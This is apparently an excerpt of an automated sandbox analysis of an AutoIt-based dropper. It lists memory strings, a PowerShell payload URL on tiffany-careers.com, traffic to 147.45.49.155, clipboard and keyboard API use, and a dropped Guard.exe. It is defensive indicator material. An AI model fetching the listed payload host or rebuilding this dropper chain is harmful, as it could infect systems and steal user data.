Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4CD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1461161914.00000278C3431000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4A5B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://tiffany-careers.com
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4CD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000000.1458289965.00000000001F9000.00000002.00000001.01000000.00000007.sdmp, SwiftWrite.pif, 0000000D.00000000.1587613578.0000000000989000.00000002.00000001.01000000.00000009.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000004.00000002.1461161914.00000278C3431000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4CD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1461161914.00000278C459C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4E1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1479399165.00000278D349D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1461161914.00000278C4AA7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.1461161914.00000278C3657000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1461161914.00000278C4A55000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com
Source: TCKxnQ5CPn.exe, 00000000.00000002.1405829884.0000019FA4CD8000.00000004.00000020.00020000.00000000.sdmp, TCKxnQ5CPn.exe, 00000000.00000002.1405886417.0000019FA4D12000.00000004.00000020.00020000.00000000.sdmp, TCKxnQ5CPn.exe, 00000000.00000003.1405428818.0000019FA4D11000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/ALGglt
Source: powershell.exe, 00000004.00000002.1461161914.00000278C3657000.00000004.00000800.00020000.00000000.sdmp, PublicProfile.ps1.0.drString found in binary or memory: https://tiffany-careers.com/ZxVMIVZIX.txt
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Guard.exe.2.drString found in binary or memory: https://www.globalsign.com/repository/0
Source: Guard.exe, 00000006.00000003.1474744232.0000000005206000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000002.2585543435.0000000004342000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.2.drString found in binary or memory: https://www.globalsign.com/repository/06
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00007FF69DBC0A6C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00007FF69DBC0D24
Source: C:\Users\Public\Guard.exeCode function: 6_2_001A4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,6_2_001A4830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00934830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,13_2_00934830
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00007FF69DBC0A6C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBA7E64 GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_00007FF69DBA7E64
Source: C:\Users\Public\Guard.exeCode function: 6_2_001BD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,6_2_001BD164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0094D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,13_2_0094D164

System Summary

barindex
Binary is likely a compiled AutoIt script file
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: This is a third-party compiled AutoIt script.0_2_00007FF69DB337B0
Source: TCKxnQ5CPn.exeString found in binary or memory: This is a third-party compiled AutoIt script.
Source: TCKxnQ5CPn.exe, 00000000.00000000.1335905745.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_23354ca7-0
Source: TCKxnQ5CPn.exe, 00000000.00000000.1335905745.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*memstr_93d891fa-5
Source: TCKxnQ5CPn.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_9a5e8ced-9
Source: TCKxnQ5CPn.exeString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*memstr_5972f5ef-7
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB3E20: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,0_2_00007FF69DBB3E20
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB9D2C4 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,0_2_00007FF69DB9D2C4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBAD750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_00007FF69DBAD750
Source: C:\Users\Public\Guard.exeCode function: 6_2_00195778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,6_2_00195778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00925778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,13_2_00925778
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBCF6300_2_00007FF69DBCF630
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB5BEB40_2_00007FF69DB5BEB4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB3BE700_2_00007FF69DB3BE70
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB5C1300_2_00007FF69DB5C130
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC206C0_2_00007FF69DBC206C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB35F3C0_2_00007FF69DB35F3C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBDDB180_2_00007FF69DBDDB18
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB4FA4F0_2_00007FF69DB4FA4F
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBDBA0C0_2_00007FF69DBDBA0C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB1A180_2_00007FF69DBB1A18
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB3B9F00_2_00007FF69DB3B9F0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB6793C0_2_00007FF69DB6793C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB43C200_2_00007FF69DB43C20
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC56A00_2_00007FF69DBC56A0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB695B00_2_00007FF69DB695B0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB458D00_2_00007FF69DB458D0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB5F8D00_2_00007FF69DB5F8D0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBAD87C0_2_00007FF69DBAD87C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB3183C0_2_00007FF69DB3183C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB718400_2_00007FF69DB71840
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBE17C00_2_00007FF69DBE17C0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB617500_2_00007FF69DB61750
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB7529C0_2_00007FF69DB7529C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC32AC0_2_00007FF69DBC32AC
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB3B3900_2_00007FF69DB3B390
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBDCE8C0_2_00007FF69DBDCE8C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB50E900_2_00007FF69DB50E90
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB40E700_2_00007FF69DB40E70
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB42E300_2_00007FF69DB42E30
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB76DE40_2_00007FF69DB76DE4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB630DC0_2_00007FF69DB630DC
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB32AE00_2_00007FF69DB32AE0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBD0AEC0_2_00007FF69DBD0AEC
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB72D200_2_00007FF69DB72D20
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC6C340_2_00007FF69DBC6C34
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBDC6D40_2_00007FF69DBDC6D4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBDA59C0_2_00007FF69DBDA59C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBD055C0_2_00007FF69DBD055C
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB6A8A00_2_00007FF69DB6A8A0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB767F00_2_00007FF69DB767F0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC63200_2_00007FF69DBC6320
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB502C40_2_00007FF69DB502C4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB545140_2_00007FF69DB54514
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB684C00_2_00007FF69DB684C0
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB5C3FC0_2_00007FF69DB5C3FC
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DB724000_2_00007FF69DB72400
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBB83D40_2_00007FF69DBB83D4
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: 0_2_00007FF69DBC83600_2_00007FF69DBC8360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF887BB245D4_2_00007FF887BB245D
Source: C:\Users\Public\Guard.exeCode function: 6_2_0013B0206_2_0013B020
Source: C:\Users\Public\Guard.exeCode function: 6_2_001394E06_2_001394E0
Source: C:\Users\Public\Guard.exeCode function: 6_2_00139C806_2_00139C80
Source: C:\Users\Public\Guard.exeCode function: 6_2_001523F56_2_001523F5
Source: C:\Users\Public\Guard.exeCode function: 6_2_001B84006_2_001B8400
Source: C:\Users\Public\Guard.exeCode function: 6_2_001665026_2_00166502
Source: C:\Users\Public\Guard.exeCode function: 6_2_0016265E6_2_0016265E
Source: C:\Users\Public\Guard.exeCode function: 6_2_0013E6F06_2_0013E6F0
Source: C:\Users\Public\Guard.exeCode function: 6_2_0015282A6_2_0015282A
Source: C:\Users\Public\Guard.exeCode function: 6_2_001689BF6_2_001689BF
Source: C:\Users\Public\Guard.exeCode function: 6_2_001B0A3A6_2_001B0A3A
Source: C:\Users\Public\Guard.exeCode function: 6_2_00166A746_2_00166A74
Source: C:\Users\Public\Guard.exeCode function: 6_2_00140BE06_2_00140BE0
Source: C:\Users\Public\Guard.exeCode function: 6_2_0015CD516_2_0015CD51
Source: C:\Users\Public\Guard.exeCode function: 6_2_0018EDB26_2_0018EDB2
Source: C:\Users\Public\Guard.exeCode function: 6_2_00198E446_2_00198E44
Source: C:\Users\Public\Guard.exeCode function: 6_2_001B0EB76_2_001B0EB7
Source: C:\Users\Public\Guard.exeCode function: 6_2_00166FE66_2_00166FE6
Source: C:\Users\Public\Guard.exeCode function: 6_2_001533B76_2_001533B7
Source: C:\Users\Public\Guard.exeCode function: 6_2_0015F4096_2_0015F409
Source: C:\Users\Public\Guard.exeCode function: 6_2_0014D45D6_2_0014D45D
Source: C:\Users\Public\Guard.exeCode function: 6_2_0014F6286_2_0014F628
Source: C:\Users\Public\Guard.exeCode function: 6_2_001316636_2_00131663
Source: C:\Users\Public\Guard.exeCode function: 6_2_001516B46_2_001516B4
Source: C:\Users\Public\Guard.exeCode function: 6_2_0013F6A06_2_0013F6A0
Source: C:\Users\Public\Guard.exeCode function: 6_2_001578C36_2_001578C3
Source: C:\Users\Public\Guard.exeCode function: 6_2_0015DBA56_2_0015DBA5
Source: C:\Users\Public\Guard.exeCode function: 6_2_00151BA86_2_00151BA8
Source: C:\Users\Public\Guard.exeCode function: 6_2_00169CE56_2_00169CE5
Source: C:\Users\Public\Guard.exeCode function: 6_2_0014DD286_2_0014DD28
Source: C:\Users\Public\Guard.exeCode function: 6_2_0015BFD66_2_0015BFD6
Source: C:\Users\Public\Guard.exeCode function: 6_2_00151FC06_2_00151FC0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008CB02013_2_008CB020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008C94E013_2_008C94E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008C9C8013_2_008C9C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E23F513_2_008E23F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0094840013_2_00948400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008F650213_2_008F6502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008CE6F013_2_008CE6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008F265E13_2_008F265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E282A13_2_008E282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008F89BF13_2_008F89BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00940A3A13_2_00940A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008F6A7413_2_008F6A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008D0BE013_2_008D0BE0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_0091EDB213_2_0091EDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008ECD5113_2_008ECD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00940EB713_2_00940EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_00928E4413_2_00928E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008F6FE613_2_008F6FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E33B713_2_008E33B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008EF40913_2_008EF409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008DD45D13_2_008DD45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008CF6A013_2_008CF6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E16B413_2_008E16B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008DF62813_2_008DF628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008C166313_2_008C1663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E78C313_2_008E78C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E1BA813_2_008E1BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008EDBA513_2_008EDBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008F9CE513_2_008F9CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008DDD2813_2_008DDD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008E1FC013_2_008E1FC0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 13_2_008EBFD613_2_008EBFD6
Source: Joe Sandbox ViewDropped File: C:\Users\Public\Guard.exe D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: C:\Users\user\Desktop\TCKxnQ5CPn.exeCode function: String function: 00007FF69DB58D58 appears 76 times
